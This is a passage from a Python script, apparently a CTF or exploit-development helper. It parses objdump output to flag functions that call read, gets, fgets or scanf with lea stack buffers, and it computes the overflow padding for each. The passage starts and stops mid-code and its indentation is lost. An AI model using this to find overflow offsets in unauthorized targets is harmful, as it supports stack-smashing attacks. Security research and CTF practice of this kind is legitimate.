# Check for dangerous function calls with lea instruction
dangerous_calls = ['read', 'gets', 'fgets', 'scanf']
has_lea = 'lea' in func_body
has_dangerous_call = any(call in func_body for call in dangerous_calls)
if has_lea and has_dangerous_call:
lea_match = re.search(r'lea\s+(-?0x[0-9a-f]+)\(%[er]bp\)', func_body)
if lea_match:
offset_hex = lea_match.group(1)
offset_dec = abs(int(offset_hex, 16))
alignment = 8 if bit == 64 else 4
padding = offset_dec + alignment
vulnerable_functions.append({
'name': func_name,
'stack_size': offset_dec,
'padding': padding
})
if vulnerable_functions:
print_section_header("VULNERABLE FUNCTIONS")
headers = ["Function", "Stack Size", "Padding"]
print_table_header(headers)
for func in vulnerable_functions:
colors = [Colors.YELLOW, Colors.END, Colors.SUCCESS]
print_table_row([func['name'], f"{func['stack_size']} bytes", f"{func['padding']} bytes"], colors)
print_info("")
return vulnerable_functions[0]['padding'] # Return first found
return None
except Exception as e:
print_error(f"failed to analyze vulnerable functions: {e}")
return None
def vuln_func_name():
"""Find vulnerable function names from objdump scan"""
try:
with open("Objdump_Scan.txt", 'r') as f:
content = f.read()
functions = re.split(r'\n\n', content.strip())
results = []
for func in functions:
func_name_match = re.search(r'<([^>]+)>', func)
if not func_name_match:
continue
func_name = func_name_match.group(1)
has_lea = bool(re.search(r'\s+lea\s', func))
has_call_read = bool(re.search(r'call.*read@plt', func))
has_call_read += bool(re.search(r'call.*gets@plt', func))
has_call_read += bool(re.search(r'call.*fgets@plt', func))
has_call_read += bool(re.search(r'call.*scanf@plt', func))
if has_lea and has_call_read:
lea_match = re.search(r'lea\s+-\s*(0x[0-9a-f]+)', func)
if lea_match:
results.append(func_name)
return results
except Exception as e:
print_error(f"failed to find vulnerable function names: {e}")
return []
def asm_stack_overflow(program, bit):
"""Assembly-based stack overflow analysis with padding adjustment"""
print_info("performing assembly-based overflow analysis")
try:
with open("Objdump_Scan.txt", 'r') as f:
content = f.read()
func_pattern = r'^[0-9a-f]+ <(\w+)>:(.*?)(?=^\d+ <\w+>:|\Z)'
functions = re.finditer(func_pattern, content, re.MULTILINE | re.DOTALL)
for func in functions:
func_body = func.group(2)
# Check for vulnerable patterns
dangerous_calls = ['read', 'gets', 'fgets', 'scanf']
has_lea = 'lea' in func_body
has_call = 'call' in func_body